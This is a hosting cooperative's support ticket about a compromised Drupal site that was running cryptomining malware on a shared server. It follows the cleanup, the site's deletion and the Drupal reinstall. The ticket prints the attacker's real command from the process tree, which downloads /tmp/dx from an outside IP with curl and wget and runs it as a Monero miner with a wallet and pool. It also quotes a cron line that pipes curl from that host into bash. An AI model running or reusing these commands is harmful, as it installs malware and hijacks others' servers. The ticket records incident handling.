Opened 5 weeks ago

Last modified 3 days ago

#13638 assigned Bug/Something is broken

process on peery

Reported by: https://id.mayfirst.org/jaimev Owned by: https://id.mayfirst.org/worldances
Priority: Urgent Component: Tech
Keywords: Cc: https://id.mayfirst.org/jamie, https://id.mayfirst.org/worldances
Sensitive: no

Description

The php5-fpm.log on peery is huge. These lines repeat there.

[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11442 exited with code 0 after 0.077807 seconds from start
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11454 started
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11445 exited with code 0 after 0.072187 seconds from start
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11455 started
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11447 exited with code 0 after 0.065296 seconds from start
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11456 started
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11444 exited with code 0 after 0.080928 seconds from start
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11457 started
[15-Apr-2018 06:45:58] NOTICE: [pool worldancestorconcert.mayfirst.org] child 11446 exited with code 0 after 0.071430 seconds from start

I found this in the process tree.

root      1428  6.2  0.3 477444 31980 ?        Ss   Apr10 767:25 php-fpm: master process (/etc/php5/fpm/php-fpm.conf)                    
worldan+ 30228  0.0  0.6 514284 62332 ?        S    Apr13   0:00  \_ php-fpm: pool worldancestorconcert.mayfirst.org                         
worldan+ 30229  0.0  0.0   4336   728 ?        S    Apr13   0:00  |   \_ sh -c taskkill -9 dx; cd /tmp; curl -s http://80.209.253.51/dx > /tmp/dx; wget http://80.209.253.51/dx -O /tmp/dx; chmod +x /tmp/dx; /tmp/dx -u 42J2Mw
guWYXVEiMthxGCzU1PvE9NAxYNqKGCnYq6NH6RjWckg2UhbvTYRwwRaHkYQcgjncg6TnAF6RbMWxLr9veP53jc4MG -p x -o monerohash.com:80
worldan+ 30234 32.3  0.0  58608  4468 ?        Sl   Apr13 2514:07  |       \_ /tmp/dx -u 42J2MwguWYXVEiMthxGCzU1PvE9NAxYNqKGCnYq6NH6RjWckg2UhbvTYRwwRaHkYQcgjncg6TnAF6RbMWxLr9veP53jc4MG -p x -o monerohash.com:80

Attachments (5)

WACWEB-01a-DrupalSupport-UploadInstrxns.JPG (92.2 KB) - added by https://id.mayfirst.org/worldances 4 days ago.
WACWEB-01b-Filezilla Window.jpg (312.2 KB) - added by https://id.mayfirst.org/worldances 4 days ago.
WACWEB-02-MySQL database page-setup.jpg (66.7 KB) - added by https://id.mayfirst.org/worldances 4 days ago.
WACWEB-03-MySQL database user page-password denied.jpg (109.4 KB) - added by https://id.mayfirst.org/worldances 4 days ago.
WACWEB-04-Web Application interface.JPG (61.8 KB) - added by https://id.mayfirst.org/worldances 4 days ago.

Download all attachments as: .zip

Change History (22)

comment:1 Changed 5 weeks ago by https://id.mayfirst.org/jaimev

  • Owner set to https://id.mayfirst.org/jaimev
  • Status changed from new to assigned

This is a drupal site that was upgraded to 8.5.1 yesterday but apparently too late. I am disabling it now.

comment:2 Changed 5 weeks ago by https://id.mayfirst.org/jaimev

  • Cc https://id.mayfirst.org/worldances added
  • Sensitive unset

Ukumbwa the site worldancestorconcert.com has been compromised and was being used to run cryptomining malware on the shared server peery. It was missing the latest drupal security updates.

We attempted to upgrade it yesterday but apparently we were too late. We've had to disable the site for now. Please respond to this ticket or e-mail us at support@… when you see this.

comment:3 Changed 4 weeks ago by https://id.mayfirst.org/worldances

  • Owner changed from https://id.mayfirst.org/jaimev to https://id.mayfirst.org/worldances

OK, thanks. I do not understand the fpm log or the process tree per se, but understand that Drupal not being updated comporomised the safety of the site. Thank you for handling this on your end. I responded to the ticket earlier, but will I need to run an update of any kind for Drupal following this? I am also wondering if you have any other recommendations for me with regard to safeguarding the site's security. Will any diagnostics need to be run? Have you done that already?

comment:4 Changed 4 weeks ago by https://id.mayfirst.org/jaimev

As I mentioned above we did update the site for you when we saw you hadn't applied the updates two weeks after Drupal's announcement but apparently the compromise reached it first. This compromise was likely automated and we have seen a rash of these compromises after Drupal's security vulnerability announcement.

I think we have no choice but to assume that the site is still compromised. I'm not sure how to re-enable your site as is without causing further complications for your server.

If you have a backup of your site before this incident you can attempt to restore the backup and immediately upgrade it to protect against future compromise. We can help if you have any questions about that. Otherwise you may need to enlist the help of a Drupal developer who can help clean up the existing site and database. That is out of the scope of the support we can provide.

comment:5 Changed 2 weeks ago by https://id.mayfirst.org/worldances

Hello again with continued thanks for the service you provide. I have a few questions concerning our site on your server: 1) is it safe to use the admin interface with Drupal? A warning came up on my browser, though that may be from before I had gotten control of the server back. 2) A web security person we are consulting with said the following and I was wondering if any of these tasks were particularly in May First's purview. I have seen controls for chron in my Drupal interface, but assumed the apache daemon control was in the May First interface. Our consultant is willing to talk me through the steps if need be:

<<<<< In order to completely remove this malware the following steps need to be taken:

  1. stop the apache daemon (usually apachectl stop or service apache2 stop)
  2. remove the chron job that keeps downloading and running the malware. This is likely to be in /var/spool/chron/apache, and will look something like * * * * * curl -s http://80.209.253.51/dx | bash -s .
  3. remove the malware files themselves (should be doable by running the command rm -rf /tmp/dx )

4 restart the apache daemon (apachectl start or service apache2 start should do the trick)

3) The security person referenced above also said that the update you did with Drupal will prevent any further such compromises from happening. Is that true as far as you can say within your scope of services or will we need further steps to protect our site at this time? 4) It was suggested that we will have to rebuild the site from the ground up again, though another person said that might not be true. Are you able to say at this juncture which is correct? 5) will we have to assign new names to each page/node from here on in if the site is fully destroyed, as in say adding some character to each page/node title so that people are not utilizing that compromised node that was used prior to this upcoming rebuild?

Thank you for any support you can give at this time.

comment:6 Changed 2 weeks ago by https://id.mayfirst.org/jaimev

Hi what is the warning that appears in your browser when you attempt to access the site? I don't see any pending cron jobs for your user but the web configuration is disabled now. I don't think there is any guarantee that the updates we applied can protect a site that already been compromised. Drupal has the following suggestions https://www.drupal.org/node/2365547

comment:7 Changed 2 weeks ago by https://id.mayfirst.org/jaimev

If you've been able to go through the steps above and are ready to enable the web configuration again you can do so through the May First control panel. https://members.mayfirst.org/cp/index.php?area=hosting_order&hosting_order_id=1003363&service_id=7

comment:8 Changed 13 days ago by https://id.mayfirst.org/worldances

Unable to get into the site management area to assess where my next steps lie. I should have control of the site, but will check the URL you suggested in your last message above.

I get this window:

Not Found The requested URL /user was not found on this server.

Apache/2.4.10 (Debian) Server at www.worldancestorconcert.com Port 443

comment:9 Changed 13 days ago by https://id.mayfirst.org/jaimev

You will need to re-enable your web configuration here https://members.mayfirst.org/cp/index.php?area=hosting_order&hosting_order_id=1003363&service_id=7 before you can access your site's admin area.

comment:10 Changed 13 days ago by https://id.mayfirst.org/worldances

Thank you. I had visited that area before. Since I am not familiar enough with the functions the web security person detailed, I'm more comfortable with deleting the site and recreating it. I just need to know if you're able to say if deleting the site will also delete any malware or virus activity that is on the disabled website on the server. I can then just recreate the site again safely if that's true. Thanks for all the support and feedback. It's appreciated.

comment:11 Changed 10 days ago by https://id.mayfirst.org/jamie

Sorry for the delay - yes, deleting the web site (and the database that goes with it) will remove all malware (as well as all of your content). Let us know if you'd like us to take that step for you so you can start with a fresh, empty drupal site.

comment:12 Changed 10 days ago by https://id.mayfirst.org/worldances

Yes, thank you for confirming the completeness of the delete taking care of the malware. That's our main concern. And yes, please, if you will, execute the delete of our website and database. We appreciate the support and the time. Thank you.

PS...also, will we have the same username, "worldances" or will that be a new configuration to make? Thank you.

comment:13 Changed 9 days ago by https://id.mayfirst.org/jamie

  • Resolution set to fixed
  • Status changed from assigned to closed

Hi - You are all set - you now have a fresh web site ready for you to install drupal in it again.

Your old username and password will continue to work. Please re-open if you have any trouble getting started again.

comment:14 Changed 9 days ago by https://id.mayfirst.org/worldances

Thank you, will do.

Changed 4 days ago by https://id.mayfirst.org/worldances

Changed 4 days ago by https://id.mayfirst.org/worldances

Changed 4 days ago by https://id.mayfirst.org/worldances

Changed 4 days ago by https://id.mayfirst.org/worldances

Changed 4 days ago by https://id.mayfirst.org/worldances

comment:15 Changed 4 days ago by https://id.mayfirst.org/worldances

  • Resolution fixed deleted
  • Status changed from closed to assigned

Greetings, Opening up the ticket again in need of support as offered for installing Drupal again; see list below for actions taken after last communication (see 5 recent attachments for reference):

  1. attempted unsuccessfully to upload of Drupal 8.5.3 to May First through Filezilla FTP to “web” folder as suggested on Drupal support feedback page (see WACWEB-01a and -1b attachment): https://www.drupal.org/forum/support/post-installation/2008-09-16/how-do-you-upload-a-drupal-site-via-ftp#comment-1013380
  2. set up database as “worldances1”, showed up as active within a minute or so; see WACWEB-02 attachment
  3. unsuccessfully attempted to set up user, realized that may not have been necessary, neither pre-existing passwords worked on that interface (one was 10 characters, the other 18); see WACWEB-03 attachment
  4. rechecked available upload destinations through Filezilla FTP to see if there was any change (this seemed a rhetorical move at this point) that might give me direction
  5. operating on the assumption that I may need to repoint the domain at May First again as we did in early 2017 when first setting up our May First site
  6. checked “Web Application” interface, saw Drupal being the choice (this was the setting even before and after our site breach, before these actions were taken; concerned that only Drupal version “7” is available when I click on the caret toggle
  7. I am in need of assistance loading Drupal to my server. Our last communication said that you would be willing to help with this part of the process. Please let me know if that assistance will get the site operational to the point where I will be able to access the site management interface at “www.worldancestorconcert.com/user”. I am able to repoint the domain again, if that is necessary, but am stuck at this important juncture of reloading Drupal to the server and opening up the interface to start uploading modules and our theme again before recreating our content pages. Please let me know if any of the necessary steps are outside of the services available pursuant to our level of membership/service.
  8. Thank you, Ukumbwa

comment:16 Changed 4 days ago by https://id.mayfirst.org/jamie

Hi - Just set you up with a Drupal 8 site.

I noticed that you did successfully create a MySQL database, however, you did not create a MySQL user with access to this database. I completed that step via the control panel.

Then, I followed these directions: https://www.chenhuijing.com/blog/drupal-101-getting-started-with-d8/

Your new site is setup - and there is an admin user assigned to your email address.

So, you can access your site by going here:

http://worldancestorconcert.mayfirst.org/user/password

And enter your email address to get a link to access your site.

comment:17 Changed 3 days ago by https://id.mayfirst.org/worldances

Thank you so much. Still learning on this end, but so appreciating your support. Will be checking in to all this in a few hours. So grateful.

Leaving ticket open just in case.

Please login to add comments to this ticket.

Note: See TracTickets for help on using tickets.